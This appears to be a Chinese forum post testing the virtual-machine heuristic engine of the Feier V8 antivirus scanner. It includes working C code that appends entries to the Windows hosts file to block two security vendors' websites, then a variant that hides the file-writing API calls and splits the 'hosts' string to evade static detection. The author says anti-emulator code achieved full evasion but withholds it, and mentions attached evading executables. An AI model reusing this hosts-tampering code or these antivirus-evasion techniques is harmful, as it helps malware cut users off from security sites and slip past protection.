费尔新出的V8扫描器引入了虚拟机启发,这也是费尔V8的特色之一,今天我们就来简单的测试下费尔的虚拟机启发。
先来一段简单的代码,费尔能启发到威胁
- VOID ModifyHosts()
- {
- CHAR szHostsPath[MAX_PATH] = {0};
- GetSystemDirectory(szHostsPath,MAX_PATH);
- lstrcat(szHostsPath,"\\drivers\\etc\\hosts");
- CleanMyAttributes(szHostsPath);
- HANDLE hFile;
- hFile = CreateFile(szHostsPath,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
- if (hFile != INVALID_HANDLE_VALUE)
- {
- SetFilePointer(hFile,0,0,FILE_END);
- LPSTR lpData = "127.0.0.1 www.360.cn\r\n127.0.0.1 www.rising.com.cn\r\n";
- DWORD dwDataSize = lstrlen(lpData);
- WriteFile(hFile,lpData,dwDataSize,&dwDataSize,NULL);
- }
- SetMyAttributes(szHostsPath);
- CloseHandle(hFile);
- }
复制代码
这段代码很简单,就是修改下hosts文件,当然了这段代码也是有一定的威胁的,所以费尔报为Heur.NewTreat.a是正确的。
如果我们注释掉//WriteFile(hFile,lpData,dwDataSize,&dwDataSize,NULL);这句,再编译,费尔就没有报毒了,注释掉这句我们的程序就不会向hosts文件写入信息了,所以这里不报也是正确的。
如果我们将lstrcat(szHostsPath,"\\drivers\\etc\\hosts");修改为lstrcat(szHostsPath,"\\drivers\\etc\\hoasts");改变下字符串,再编译,费尔也没有报毒,改掉这句的话我们写入的将不是hosts文件,所以也没有威胁,费尔没报也是正确的。
根据上面的测试我们可以推测费尔的启发是根据字符串和API函数CreateFile,WriteFile组合来启发的。
我们将CreateFile,WriteFile调动方式改为动态的,然后再将字符串截断,修改后的代码如下:
- typedef BOOL (WINAPI *PWRITEFILE)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLAPPED);
- typedef HANDLE (WINAPI *PCreateFile)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
- VOID ModifyHosts()
- {
- HINSTANCE hLibrary = LoadLibrary("Kernel32.dll");
- PWRITEFILE PFuncWriteFile;
- PFuncWriteFile = (PWRITEFILE)GetProcAddress(hLibrary,"WriteFile");
- PCreateFile pFuncCreateFile;
- pFuncCreateFile = (PCreateFile)GetProcAddress(hLibrary,"CreateFileA");
- CHAR szHostsPath[MAX_PATH] = {0};
- GetSystemDirectory(szHostsPath,MAX_PATH);
- lstrcat(szHostsPath,"\\drivers\\etc\\ho");
- lstrcat(szHostsPath,"sts");
- CleanMyAttributes(szHostsPath);
- HANDLE hFile;
- hFile = pFuncCreateFile(szHostsPath,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
- if (hFile != INVALID_HANDLE_VALUE)
- {
- SetFilePointer(hFile,0,0,FILE_END);
- LPSTR lpData = "127.0.0.1 www.360.cn\r\n127.0.0.1 www.rising.com.cn\r\n";
- DWORD dwDataSize = lstrlen(lpData);
- PFuncWriteFile(hFile,lpData,dwDataSize,&dwDataSize,NULL);
- }
- SetMyAttributes(szHostsPath);
- CloseHandle(hFile);
- FreeLibrary(hLibrary);
- }
复制代码 居然依旧提示病毒,这个确实超乎我的意料了-_-,看样子不是静态启发了,膜拜下~~
OK,我们加上一段对抗Emulator代码,成功免杀,为了世界的河蟹,不透露了
综上所述,费尔的启发应该是有虚拟机的,膜拜mvm.dll,当然所加的壳更是要膜拜的-_-
附件中的,两个exe,一个免杀费尔虚拟机的,一个没有免杀
测试环境如下:
|